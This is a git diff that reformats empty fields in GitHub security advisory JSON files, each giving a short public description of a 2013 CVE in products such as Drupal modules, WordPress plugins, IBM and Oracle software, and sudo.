b/advisories/unreviewed/2022/05/GHSA-pxgr-9vwp-grpq/GHSA-pxgr-9vwp-grpq.json @@ -7,12 +7,8 @@ "CVE-2013-4229" ], "details": "Cross-site scripting (XSS) vulnerability in the Monster Menus module 7.x-1.x before 7.x-1.12 for Drupal allows remote authenticated users with permissions to add pages to inject arbitrary web script or HTML via a title in the page settings.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-pxqv-f65x-35pp/GHSA-pxqv-f65x-35pp.json b/advisories/unreviewed/2022/05/GHSA-pxqv-f65x-35pp/GHSA-pxqv-f65x-35pp.json index d7dbc0f97e8..5187cb0b28c 100644 --- a/advisories/unreviewed/2022/05/GHSA-pxqv-f65x-35pp/GHSA-pxqv-f65x-35pp.json +++ b/advisories/unreviewed/2022/05/GHSA-pxqv-f65x-35pp/GHSA-pxqv-f65x-35pp.json @@ -7,12 +7,8 @@ "CVE-2013-4054" ], "details": "Directory traversal vulnerability in WMQ Telemetry in IBM WebSphere MQ 7.5 before 7.5.0.3 allows remote attackers to read arbitrary files via a crafted URI.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-q2w9-m8p6-296j/GHSA-q2w9-m8p6-296j.json b/advisories/unreviewed/2022/05/GHSA-q2w9-m8p6-296j/GHSA-q2w9-m8p6-296j.json index afe8483ebcc..eb64ab3e045 100644 --- a/advisories/unreviewed/2022/05/GHSA-q2w9-m8p6-296j/GHSA-q2w9-m8p6-296j.json +++ b/advisories/unreviewed/2022/05/GHSA-q2w9-m8p6-296j/GHSA-q2w9-m8p6-296j.json @@ -7,12 +7,8 @@ "CVE-2013-5010" ], "details": "The Application/Device Control (ADC) component in the client in Symantec Endpoint Protection (SEP) 11.x before 11.0.7.4 and 12.x before 12.1.2 RU2 and Endpoint Protection Small Business Edition 12.x before 12.1.2 RU2 does not properly handle custom polices, which allows local users to bypass intended policy restrictions and access files or directories via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-q356-m8pw-frv3/GHSA-q356-m8pw-frv3.json b/advisories/unreviewed/2022/05/GHSA-q356-m8pw-frv3/GHSA-q356-m8pw-frv3.json index ad7f14aa45c..d8253268a4c 100644 --- a/advisories/unreviewed/2022/05/GHSA-q356-m8pw-frv3/GHSA-q356-m8pw-frv3.json +++ b/advisories/unreviewed/2022/05/GHSA-q356-m8pw-frv3/GHSA-q356-m8pw-frv3.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-q4h7-3cq9-3hx7/GHSA-q4h7-3cq9-3hx7.json b/advisories/unreviewed/2022/05/GHSA-q4h7-3cq9-3hx7/GHSA-q4h7-3cq9-3hx7.json index f299b9be2fc..93b265502c7 100644 --- a/advisories/unreviewed/2022/05/GHSA-q4h7-3cq9-3hx7/GHSA-q4h7-3cq9-3hx7.json +++ b/advisories/unreviewed/2022/05/GHSA-q4h7-3cq9-3hx7/GHSA-q4h7-3cq9-3hx7.json @@ -7,12 +7,8 @@ "CVE-2013-5963" ], "details": "Unrestricted file upload vulnerability in multi.php in Simple Dropbox Upload plugin before 1.8.8.1 for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/uploads/wpdb/.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-q4wj-8854-jvxq/GHSA-q4wj-8854-jvxq.json b/advisories/unreviewed/2022/05/GHSA-q4wj-8854-jvxq/GHSA-q4wj-8854-jvxq.json index 226dc45acdc..1a9d32b3da3 100644 --- a/advisories/unreviewed/2022/05/GHSA-q4wj-8854-jvxq/GHSA-q4wj-8854-jvxq.json +++ b/advisories/unreviewed/2022/05/GHSA-q4wj-8854-jvxq/GHSA-q4wj-8854-jvxq.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-q65c-33vf-fx93/GHSA-q65c-33vf-fx93.json b/advisories/unreviewed/2022/05/GHSA-q65c-33vf-fx93/GHSA-q65c-33vf-fx93.json index 69b54a90a27..f69d1a9a0e9 100644 --- a/advisories/unreviewed/2022/05/GHSA-q65c-33vf-fx93/GHSA-q65c-33vf-fx93.json +++ b/advisories/unreviewed/2022/05/GHSA-q65c-33vf-fx93/GHSA-q65c-33vf-fx93.json @@ -7,12 +7,8 @@ "CVE-2013-5428" ], "details": "IBM WebSphere DataPower XC10 appliances 2.5.0 do not require authentication for all administrative actions, which allows remote attackers to cause a denial of service via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-q7mh-m3jp-w596/GHSA-q7mh-m3jp-w596.json b/advisories/unreviewed/2022/05/GHSA-q7mh-m3jp-w596/GHSA-q7mh-m3jp-w596.json index 61042618a8c..d6ed76cf34c 100644 --- a/advisories/unreviewed/2022/05/GHSA-q7mh-m3jp-w596/GHSA-q7mh-m3jp-w596.json +++ b/advisories/unreviewed/2022/05/GHSA-q7mh-m3jp-w596/GHSA-q7mh-m3jp-w596.json @@ -7,12 +7,8 @@ "CVE-2013-4759" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in the Magnolia Form module 1.x before 1.4.7 and 2.x before 2.0.2 for Magnolia CMS allow remote attackers to inject arbitrary web script or HTML via the (1) username, (2) fullname, or (3) email parameter to magnoliaPublic/demo-project/members-area/registration.html.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-q868-qjg7-cjw8/GHSA-q868-qjg7-cjw8.json b/advisories/unreviewed/2022/05/GHSA-q868-qjg7-cjw8/GHSA-q868-qjg7-cjw8.json index bd313b07d88..7920dfcd1ad 100644 --- a/advisories/unreviewed/2022/05/GHSA-q868-qjg7-cjw8/GHSA-q868-qjg7-cjw8.json +++ b/advisories/unreviewed/2022/05/GHSA-q868-qjg7-cjw8/GHSA-q868-qjg7-cjw8.json @@ -7,12 +7,8 @@ "CVE-2013-3761" ], "details": "Unspecified vulnerability in the PeopleSoft Enterprise PeopleTools component in Oracle PeopleSoft Products Portal 9.1 and PeopleTools 8.52 allows remote attackers to affect integrity via vectors related to PIA Core Technology.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-q897-gr4j-wm6m/GHSA-q897-gr4j-wm6m.json b/advisories/unreviewed/2022/05/GHSA-q897-gr4j-wm6m/GHSA-q897-gr4j-wm6m.json index f8bab727efd..919b1089985 100644 --- a/advisories/unreviewed/2022/05/GHSA-q897-gr4j-wm6m/GHSA-q897-gr4j-wm6m.json +++ b/advisories/unreviewed/2022/05/GHSA-q897-gr4j-wm6m/GHSA-q897-gr4j-wm6m.json @@ -7,12 +7,8 @@ "CVE-2013-3822" ], "details": "Unspecified vulnerability in the Oracle Agile PLM Framework component in Oracle Supply Chain Products Suite 9.3.1 allows remote attackers to affect integrity via unknown vectors related to Web Client (CS).", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-q8gx-x8qv-pr28/GHSA-q8gx-x8qv-pr28.json b/advisories/unreviewed/2022/05/GHSA-q8gx-x8qv-pr28/GHSA-q8gx-x8qv-pr28.json index 0ea96080114..b1462fd1270 100644 --- a/advisories/unreviewed/2022/05/GHSA-q8gx-x8qv-pr28/GHSA-q8gx-x8qv-pr28.json +++ b/advisories/unreviewed/2022/05/GHSA-q8gx-x8qv-pr28/GHSA-q8gx-x8qv-pr28.json @@ -7,12 +7,8 @@ "CVE-2013-2670" ], "details": "Cross-site scripting (XSS) vulnerability in the Brother MFC-9970CDW printer with firmware G (1.03) and L (1.10) allows remote attackers to inject arbitrary web script or HTML via an arbitrary parameter name (QUERY_STRING) to admin/admin_main.html, a different vulnerability than CVE-2013-2507 and CVE-2013-2671.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-q9xw-pqvh-974r/GHSA-q9xw-pqvh-974r.json b/advisories/unreviewed/2022/05/GHSA-q9xw-pqvh-974r/GHSA-q9xw-pqvh-974r.json index ac4a959493c..7c78891aa9d 100644 --- a/advisories/unreviewed/2022/05/GHSA-q9xw-pqvh-974r/GHSA-q9xw-pqvh-974r.json +++ b/advisories/unreviewed/2022/05/GHSA-q9xw-pqvh-974r/GHSA-q9xw-pqvh-974r.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-qf3h-37cw-qmp7/GHSA-qf3h-37cw-qmp7.json b/advisories/unreviewed/2022/05/GHSA-qf3h-37cw-qmp7/GHSA-qf3h-37cw-qmp7.json index 31bc8d7f71c..b17b144fe5b 100644 --- a/advisories/unreviewed/2022/05/GHSA-qf3h-37cw-qmp7/GHSA-qf3h-37cw-qmp7.json +++ b/advisories/unreviewed/2022/05/GHSA-qf3h-37cw-qmp7/GHSA-qf3h-37cw-qmp7.json @@ -7,12 +7,8 @@ "CVE-2013-5447" ], "details": "Stack-based buffer overflow in IBM Forms Viewer 4.x before 4.0.0.3 and 8.x before 8.0.1.1 allows remote attackers to execute arbitrary code via an XFDL form with a long fontname value.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-qgg3-wgfr-9xjq/GHSA-qgg3-wgfr-9xjq.json b/advisories/unreviewed/2022/05/GHSA-qgg3-wgfr-9xjq/GHSA-qgg3-wgfr-9xjq.json index 61a9850cc7c..f797f3cebc0 100644 --- a/advisories/unreviewed/2022/05/GHSA-qgg3-wgfr-9xjq/GHSA-qgg3-wgfr-9xjq.json +++ b/advisories/unreviewed/2022/05/GHSA-qgg3-wgfr-9xjq/GHSA-qgg3-wgfr-9xjq.json @@ -7,12 +7,8 @@ "CVE-2013-5416" ], "details": "Unspecified vulnerability in IBM Rational ClearCase through 7.1.2.12, 8.0.0.x before 8.0.0.9, and 8.0.1.x before 8.0.1.2 allows local users to gain privileges via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-qgh6-r25g-j53x/GHSA-qgh6-r25g-j53x.json b/advisories/unreviewed/2022/05/GHSA-qgh6-r25g-j53x/GHSA-qgh6-r25g-j53x.json index a1142e8acc2..06e8725dc23 100644 --- a/advisories/unreviewed/2022/05/GHSA-qgh6-r25g-j53x/GHSA-qgh6-r25g-j53x.json +++ b/advisories/unreviewed/2022/05/GHSA-qgh6-r25g-j53x/GHSA-qgh6-r25g-j53x.json @@ -7,12 +7,8 @@ "CVE-2013-5833" ], "details": "Unspecified vulnerability in Oracle Solaris 8 and 9 allows local users to affect availability via unknown vectors related to Filesystem.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-qj3q-7jxj-hp4j/GHSA-qj3q-7jxj-hp4j.json b/advisories/unreviewed/2022/05/GHSA-qj3q-7jxj-hp4j/GHSA-qj3q-7jxj-hp4j.json index d83d500568c..54b31e00be1 100644 --- a/advisories/unreviewed/2022/05/GHSA-qj3q-7jxj-hp4j/GHSA-qj3q-7jxj-hp4j.json +++ b/advisories/unreviewed/2022/05/GHSA-qj3q-7jxj-hp4j/GHSA-qj3q-7jxj-hp4j.json @@ -7,12 +7,8 @@ "CVE-2013-4017" ], "details": "SQL injection vulnerability in IBM Maximo Asset Management 7.1 before 7.1.1.12 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-qjcf-x39h-78p8/GHSA-qjcf-x39h-78p8.json b/advisories/unreviewed/2022/05/GHSA-qjcf-x39h-78p8/GHSA-qjcf-x39h-78p8.json index 66d476f0ddd..79042016e19 100644 --- a/advisories/unreviewed/2022/05/GHSA-qjcf-x39h-78p8/GHSA-qjcf-x39h-78p8.json +++ b/advisories/unreviewed/2022/05/GHSA-qjcf-x39h-78p8/GHSA-qjcf-x39h-78p8.json @@ -7,12 +7,8 @@ "CVE-2013-2715" ], "details": "Cross-site scripting (XSS) vulnerability in the admin view in the Search API (search_api) module 7.x-1.x before 7.x-1.4 for Drupal allows remote authenticated users with certain permissions to inject arbitrary web script or HTML via a crafted field name.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-qjfx-m5pf-3ccg/GHSA-qjfx-m5pf-3ccg.json b/advisories/unreviewed/2022/05/GHSA-qjfx-m5pf-3ccg/GHSA-qjfx-m5pf-3ccg.json index 8fc4a1f4048..d87017468bd 100644 --- a/advisories/unreviewed/2022/05/GHSA-qjfx-m5pf-3ccg/GHSA-qjfx-m5pf-3ccg.json +++ b/advisories/unreviewed/2022/05/GHSA-qjfx-m5pf-3ccg/GHSA-qjfx-m5pf-3ccg.json @@ -7,12 +7,8 @@ "CVE-2013-2777" ], "details": "sudo before 1.7.10p5 and 1.8.x before 1.8.6p6, when the tty_tickets option is enabled, does not properly validate the controlling terminal device, which allows local users with sudo permissions to hijack the authorization of another terminal via vectors related to a session without a controlling terminal device and connecting to the standard input, output, and error file descriptors of another terminal. NOTE: this is one of three closely-related vulnerabilities that were originally assigned CVE-2013-1776, but they have been SPLIT because of different affected versions.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -76,9 +72,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-qmc3-45w6-449f/GHSA-qmc3-45w6-449f.json b/advisories/unreviewed/2022/05/GHSA-qmc3-45w6-449f/GHSA-qmc3-45w6-449f.json index 9888744cd13..ebf0ef57b43 100644 --- a/advisories/unreviewed/2022/05/GHSA-qmc3-45w6-449f/GHSA-qmc3-45w6-449f.json +++ b/advisories/unreviewed/2022/05/GHSA-qmc3-45w6-449f/GHSA-qmc3-45w6-449f.json @@ -7,12 +7,8 @@ "CVE-2013-3985" ], "details": "The Enterprise Meeting Server in IBM Lotus Sametime 8.5.2 and 8.5.2.1 does not properly restrict application cookies, which allows remote attackers to read session variables by leveraging a weak setting of the Domain variable.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-qmjj-q2rr-fr9f/GHSA-qmjj-q2rr-fr9f.json b/advisories/unreviewed/2022/05/GHSA-qmjj-q2rr-fr9f/GHSA-qmjj-q2rr-fr9f.json index d60a56c0d88..1c9e6a157e0 100644 --- a/advisories/unreviewed/2022/05/GHSA-qmjj-q2rr-fr9f/GHSA-qmjj-q2rr-fr9f.json +++ b/advisories/unreviewed/2022/05/GHSA-qmjj-q2rr-fr9f/GHSA-qmjj-q2rr-fr9f.json @@ -7,12 +7,8 @@ "CVE-2013-6798" ], "details": "BlackBerry Link before 1.2.1.31 on Windows and before 1.1.1 build 39 on Mac OS X does not properly determine the user account for execution of Peer Manager in certain situations involving successive logins with different accounts, which allows context-dependent attackers to bypass intended restrictions on remote file-access folders via IPv6 WebDAV requests, a different vulnerability than CVE-2013-3694.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-qmwq-g6wj-vpwj/GHSA-qmwq-g6wj-vpwj.json b/advisories/unreviewed/2022/05/GHSA-qmwq-g6wj-vpwj/GHSA-qmwq-g6wj-vpwj.json index 7ce9654ad08..ac43b53aae1 100644 --- a/advisories/unreviewed/2022/05/GHSA-qmwq-g6wj-vpwj/GHSA-qmwq-g6wj-vpwj.json +++ b/advisories/unreviewed/2022/05/GHSA-qmwq-g6wj-vpwj/GHSA-qmwq-g6wj-vpwj.json @@ -7,12 +7,8 @@ "CVE-2013-6197" ], "details": "Unspecified vulnerability in HP Service Manager WebTier and Windows Client 9.20 and 9.21 before 9.21.661 p8 allows remote authenticated users to execute arbitrary code via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-qp4m-8934-3g25/GHSA-qp4m-8934-3g25.json b/advisories/unreviewed/2022/05/GHSA-qp4m-8934-3g25/GHSA-qp4m-8934-3g25.json index 4d40415a985..94960345a22 100644 --- a/advisories/unreviewed/2022/05/GHSA-qp4m-8934-3g25/GHSA-qp4m-8934-3g25.json +++ b/advisories/unreviewed/2022/05/GHSA-qp4m-8934-3g25/GHSA-qp4m-8934-3g25.json @@ -7,12 +7,8 @@ "CVE-2013-5456" ], "details": "The com.ibm.rmi.io.SunSerializableFactory class in IBM Java SDK 7.0.0 before SR6 allows remote attackers to bypass a sandbox protection mechanism and execute arbitrary code via vectors related to deserialization inside the AccessController doPrivileged block.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -60,9 +56,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-qqqh-rwm2-4vhw/GHSA-qqqh-rwm2-4vhw.json b/advisories/unreviewed/2022/05/GHSA-qqqh-rwm2-4vhw/GHSA-qqqh-rwm2-4vhw.json index f0a28c804ea..e303c92f3e1 100644 --- a/advisories/unreviewed/2022/05/GHSA-qqqh-rwm2-4vhw/GHSA-qqqh-rwm2-4vhw.json +++ b/advisories/unreviewed/2022/05/GHSA-qqqh-rwm2-4vhw/GHSA-qqqh-rwm2-4vhw.json @@ -7,12 +7,8 @@ "CVE-2013-4117" ], "details": "Cross-site scripting (XSS) vulnerability in includes/CatGridPost.php in the Category Grid View Gallery plugin 2.3.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the ID parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-qqwf-prw2-cf87/GHSA-qqwf-prw2-cf87.json b/advisories/unreviewed/2022/05/GHSA-qqwf-prw2-cf87/GHSA-qqwf-prw2-cf87.json index 2646e663ecd..5e52961081e 100644 --- a/advisories/unreviewed/2022/05/GHSA-qqwf-prw2-cf87/GHSA-qqwf-prw2-cf87.json +++ b/advisories/unreviewed/2022/05/GHSA-qqwf-prw2-cf87/GHSA-qqwf-prw2-cf87.json @@ -7,12 +7,8 @@ "CVE-2013-4001" ], "details": "Session fixation vulnerability in IBM Cognos Command Center before 10.2 allows remote attackers to hijack web sessions via an authorization cookie.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-qwc9-4qfr-v85c/GHSA-qwc9-4qfr-v85c.json b/advisories/unreviewed/2022/05/GHSA-qwc9-4qfr-v85c/GHSA-qwc9-4qfr-v85c.json index 2f008d8a3eb..e4c5cd6dc14 100644 --- a/advisories/unreviewed/2022/05/GHSA-qwc9-4qfr-v85c/GHSA-qwc9-4qfr-v85c.json +++ b/advisories/unreviewed/2022/05/GHSA-qwc9-4qfr-v85c/GHSA-qwc9-4qfr-v85c.json @@ -7,12 +7,8 @@ "CVE-2013-5866" ], "details": "Unspecified vulnerability in Oracle Solaris 11.1 allows local users to affect confidentiality, integrity, and availability via unknown vectors related to Kernel.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-qwfp-573x-j3mg/GHSA-qwfp-573x-j3mg.json b/advisories/unreviewed/2022/05/GHSA-qwfp-573x-j3mg/GHSA-qwfp-573x-j3mg.json index 5cba40ccd1b..155ba401352 100644 --- a/advisories/unreviewed/2022/05/GHSA-qwfp-573x-j3mg/GHSA-qwfp-573x-j3mg.json +++ b/advisories/unreviewed/2022/05/GHSA-qwfp-573x-j3mg/GHSA-qwfp-573x-j3mg.json @@ -7,12 +7,8 @@ "CVE-2013-3999" ], "details": "Cross-site scripting (XSS) vulnerability in IBM Social Media Analytics 1.2 before FP1 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-qwq4-m5pg-vvxv/GHSA-qwq4-m5pg-vvxv.json b/advisories/unreviewed/2022/05/GHSA-qwq4-m5pg-vvxv/GHSA-qwq4-m5pg-vvxv.json index 2014c016c58..735a8154ce0 100644 --- a/advisories/unreviewed/2022/05/GHSA-qwq4-m5pg-vvxv/GHSA-qwq4-m5pg-vvxv.json +++ b/advisories/unreviewed/2022/05/GHSA-qwq4-m5pg-vvxv/GHSA-qwq4-m5pg-vvxv.json @@ -7,12 +7,8 @@ "CVE-2013-6123" ], "details": "Multiple array index errors in drivers/media/video/msm/server/msm_cam_server.c in the MSM camera driver for the Linux kernel 3.x, as used in Qualcomm Innovation Center (QuIC) Android contributions for MSM devices and other products, allow attackers to gain privileges by leveraging camera device-node access, related to the (1) msm_ctrl_cmd_done, (2) msm_ioctl_server, and (3) msm_server_send_ctrl functions.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-r228-mjrg-36ch/GHSA-r228-mjrg-36ch.json b/advisories/unreviewed/2022/05/GHSA-r228-mjrg-36ch/GHSA-r228-mjrg-36ch.json index f19dcc3737a..263ff805c1f 100644 --- a/advisories/unreviewed/2022/05/GHSA-r228-mjrg-36ch/GHSA-r228-mjrg-36ch.json +++ b/advisories/unreviewed/2022/05/GHSA-r228-mjrg-36ch/GHSA-r228-mjrg-36ch.json @@ -7,12 +7,8 @@ "CVE-2013-3756" ], "details": "Unspecified vulnerability in the Oracle Landed Cost Management component in Oracle E-Business Suite 12.1.1, 12.1.2, and 12.1.3 allows remote authenticated users to affect confidentiality and integrity via unknown vectors related to Shipment Workbench.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-r26p-qc75-2j46/GHSA-r26p-qc75-2j46.json b/advisories/unreviewed/2022/05/GHSA-r26p-qc75-2j46/GHSA-r26p-qc75-2j46.json index cc286ec2dc4..bb2f9352d62 100644 --- a/advisories/unreviewed/2022/05/GHSA-r26p-qc75-2j46/GHSA-r26p-qc75-2j46.json +++ b/advisories/unreviewed/2022/05/GHSA-r26p-qc75-2j46/GHSA-r26p-qc75-2j46.json @@ -7,12 +7,8 @@ "CVE-2013-2945" ], "details": "SQL injection vulnerability in blogs/admin.php in b2evolution before 4.1.7 allows remote authenticated administrators to execute arbitrary SQL commands via the show_statuses[] parameter. NOTE: this can be leveraged using CSRF to allow remote unauthenticated attackers to execute arbitrary SQL commands.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-r2wp-2rgq-h6m4/GHSA-r2wp-2rgq-h6m4.json b/advisories/unreviewed/2022/05/GHSA-r2wp-2rgq-h6m4/GHSA-r2wp-2rgq-h6m4.json index 0339f465e97..38d506d2d25 100644 --- a/advisories/unreviewed/2022/05/GHSA-r2wp-2rgq-h6m4/GHSA-r2wp-2rgq-h6m4.json +++ b/advisories/unreviewed/2022/05/GHSA-r2wp-2rgq-h6m4/GHSA-r2wp-2rgq-h6m4.json @@ -7,12 +7,8 @@ "CVE-2013-6305" ], "details": "IBM Platform Symphony 5.2 before build 229037 and 6.1.0.1 before build 229073 uses the same credentials encryption key across different customers' installations, which makes it easier for context-dependent attackers to obtain sensitive information by leveraging knowledge of this key.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-r339-v7rr-3r35/GHSA-r339-v7rr-3r35.json b/advisories/unreviewed/2022/05/GHSA-r339-v7rr-3r35/GHSA-r339-v7rr-3r35.json index 6941cb9c42a..f752a140569 100644 --- a/advisories/unreviewed/2022/05/GHSA-r339-v7rr-3r35/GHSA-r339-v7rr-3r35.json +++ b/advisories/unreviewed/2022/05/GHSA-r339-v7rr-3r35/GHSA-r339-v7rr-3r35.json @@ -7,12 +7,8 @@ "CVE-2013-5307" ], "details": "Cross-site scripting (XSS) vulnerability in the Faceted Search (ke_search) extension before 1.4.1 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-r39h-6988-5f7j/GHSA-r39h-6988-5f7j.json b/advisories/unreviewed/2022/05/GHSA-r39h-6988-5f7j/GHSA-r39h-6988-5f7j.json index a972c59fd3f..c83dbabc8d2 100644 --- a/advisories/unreviewed/2022/05/GHSA-r39h-6988-5f7j/GHSA-r39h-6988-5f7j.json +++ b/advisories/unreviewed/2022/05/GHSA-r39h-6988-5f7j/GHSA-r39h-6988-5f7j.json @@ -7,12 +7,8 @@ "CVE-2013-5390" ], "details": "Cross-site scripting (XSS) vulnerability in the monitoring console in IBM WebSphere eXtreme Scale 7.1.0, 7.1.1, 8.5.0, and 8.6.0 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-r3rw-h5v8-ff6h/GHSA-r3rw-h5v8-ff6h.json b/advisories/unreviewed/2022/05/GHSA-r3rw-h5v8-ff6h/GHSA-r3rw-h5v8-ff6h.json index b151a89928f..c0c6ac26bc9 100644 --- a/advisories/unreviewed/2022/05/GHSA-r3rw-h5v8-ff6h/GHSA-r3rw-h5v8-ff6h.json +++ b/advisories/unreviewed/2022/05/GHSA-r3rw-h5v8-ff6h/GHSA-r3rw-h5v8-ff6h.json @@ -7,12 +7,8 @@ "CVE-2013-5322" ], "details": "SQL injection 